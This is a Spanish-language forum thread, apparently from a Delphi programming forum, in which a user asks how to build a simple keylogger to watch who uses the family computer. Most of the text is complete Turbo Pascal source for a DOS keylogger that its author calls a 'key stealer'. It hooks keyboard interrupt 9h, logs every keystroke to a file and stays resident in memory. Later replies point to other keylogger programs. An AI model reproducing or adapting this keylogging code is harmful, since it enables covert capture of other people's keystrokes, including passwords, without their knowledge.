Haciendo mi propio keylogger
 

Hola he estado mirando por internet algún keylogger para registrar lo que se hace en mi ordenador, que lo usan niños pequeños y mis padres y muchas veces me joden las cosas y con un keylogger podría saber quien ha sido y demás, nunca con fines malignos, y la verdad es que no hay ninguno gratuito que no tenga troyanos.

¿Creeis que sería dificil crear mi propio keylogger? Estamos hablando de un keylogger completamente básico, grabar lo tecleado en un txt y fuera, sin ocultarse ni nada.

No conozco funciones relacionadas con la causa... gracias.

Dale una leída a los hilos que ves en la parte baja de esta página.

Salud OS

Gracias mirare a ver.

Para utilizar el siguiente código que sale en los enlaces que me has propuesto, necesito la unidad "DOS.dcu" ¿donde puedo conseguirla?

Código Delphi [-]
 
 
(*
   Hi
     This is Key-logger program (key Recorder/key stealer),
     written in Turbo Pascal 7 .
     to see the best result, run the file from "windows 9x MS-DOS Prompt"
     i think "command prompt" will crash and hang!
     as i test in "MS-DOS Prompt",it is perfect with no error!
     By: Afshin Zavar
     E-mail: Afshin_Z@Yahoo.com
     2003-2004
     IRAN-Tabriz    
    Please send me any bugs,suggestions,updated version and misspelling *)
{//////////////////////////////////////////////////////////////////////////////}
{$F+}                        (* enable far call (out of our Segments) *)
{$M $3200,0,1000}            {stack:=3200h,MinHeap:=0 and MaxHeap:=1000}
{$S-,R-}                     {disable stack overflow and range checking}
uses CRT,DOS;                {units}
var                          (* Global varibles (avalible in all our code) *)
 oldint9:Procedure;          {wanna save real int9h address}
 KeyScanCode:Byte;           {scan code of keys}
 KeyChar:String;             {name of keys}
 FP:Text;                    {file of text}
{***************[ This is new int.9 and will be resident ]*********************}
Procedure KeyPress;Interrupt;     { allways must be contain  "interrupt" }
 Begin
      mem[0:4]:=$AA;              { mark RAM }
      Append(fp);                 { Add more text onto end of file}
      KeyScanCode:=Port[$60];     { read key from Port 60h }
      Case KeyScanCode of         {check that which key pressed}
          1:KeyChar:='Esc ';
          2:KeyChar:='1 ';
          3:KeyChar:='2 ';
          4:KeyChar:='3 ';
          5:KeyChar:='4 ';
          6:KeyChar:='5 ';
          7:KeyChar:='6 ';
          8:KeyChar:='7 ';
          9:KeyChar:='8 ';
          10:KeyChar:='9 ';
          11:KeyChar:='0 ';
          12:KeyChar:='- ';
          13:KeyChar:='= ';
          14:KeyChar:='Bksp ';
          15:KeyChar:='Tab ';
          16:KeyChar:='Q ';
          17:KeyChar:='W ';
          18:KeyChar:='E ';
          19:KeyChar:='R ';
          20:KeyChar:='T ';
          21:KeyChar:='Y ';
          22:KeyChar:='U ';
          23:KeyChar:='I ';
          24:KeyChar:='O ';
          25:KeyChar:='P ';
          26:KeyChar:='[ ';
          27:KeyChar:='] ';
          28:KeyChar:='Enter ';
          29:KeyChar:='Ctrl ';
          30:KeyChar:='A ';
          31:KeyChar:='S ';
          32:KeyChar:='D ';
          33:KeyChar:='F ';
          34:KeyChar:='G ';
          35:KeyChar:='H ';
          36:KeyChar:='J ';
          37:KeyChar:='K ';
          38:KeyChar:='L ';
          39:KeyChar:='; ';
          40:KeyChar:='coma ';
          41:KeyChar:='` ';
          42:KeyChar:='LShift ';
          43:KeyChar:='\ ';
          44:KeyChar:='Z ';
          45:KeyChar:='X ';
          46:KeyChar:='C ';
          47:KeyChar:='V ';
          48:KeyChar:='B ';
          49:KeyChar:='N ';
          50:KeyChar:='M ';
          51:KeyChar:=', ';
          52:KeyChar:='. ';
          53:KeyChar:='/ ';
          54:KeyChar:='RShift ';
          55:KeyChar:='* ';
          56:KeyChar:='Alt ';
          57:KeyChar:='Space ';
          58:KeyChar:='CapsLock ';
          59:KeyChar:='F1 ';
          60:KeyChar:='F2 ';
          61:KeyChar:='F3 ';
          62:KeyChar:='F4 ';
          63:KeyChar:='F5 ';
          64:KeyChar:='F6 ';
          65:KeyChar:='F7 ';
          66:KeyChar:='F8 ';
          67:KeyChar:='F9 ';
          68:KeyChar:='F10 ';
          133:KeyChar:='F11 ';
          134:KeyChar:='F12 ';
          69:KeyChar:='NumLock ';
          70:KeyChar:='Scroll Lock ';
          71:KeyChar:='Home(7) ';
          72:KeyChar:='UP(8) ';
          73:KeyChar:='PgUp(9) ';
          74:KeyChar:='Gray - ';
          75:KeyChar:='Left(4) ';
          76:KeyChar:='Center(5) ';
          77:KeyChar:='Right(6) ';
          78:KeyChar:='Gray + ';
          79:KeyChar:='End(1) ';
          80:KeyChar:='Down(2) ';
          81:KeyChar:='PgDn(3) ';
          82:KeyChar:='Ins(0) ';
          83:KeyChar:='Del(.) ';
     End; {case}
     WriteLn(fp,KeyChar);     {write Key Name to file}
     Close(fp);               {close file}
                    (* now pass control of int9h to Operating System *)
   Inline ($9C);             {pushf}
   OldInt9;                  {call real int9 and then popf}
 End;
{****************[Main Body]*************************}
Begin
    Textcolor(LightGreen);
    if mem[0:4]=$AA then                {test our mark in RAM}
      begin
        writeln(#13,#10,'This program has been allready installed.');
        halt(0)                        {return ro the Operating system}  
      end;
    writeln(#13,#10,'KeyLogger Program Installed successfully!',#13,#10);
   Assign(fp,'\keylist.log');         {wanna to open file}
   Rewrite(fp);                       {Creates and opens a new file.}
   Close(fp);                         {close opened file}
   GetIntVec($9,@OldInt9);            {save real interrupt no.9h}
   SetIntVec($9,Addr(KeyPress));      {hook and change interrupt no.9h to our procedure }
   Keep(0);                           {Be TSR} 
End.

Probaste el mío ??
:)

Tiene buena pinta, lastima que no dejes el código del programa, lo voy a probar, aunque lo ideal sería hacerme yo uno a medida.

Bueno, pues aunque no lo creas, hay bastante parte de código de ese programa repartido por el foro, aunque no para estos menesteres...

Tal vez, no tardando mucho, publique todo el código. Pero como dices, lo ideal es hacerse uno mismo a medida.

Saludos.

Hola

Aquí tenés un ejemplo de keylogger hecho en delphi. Es bastante elemental pero tal vez te sirva aunque más no sea para ver como funciona.

Saludos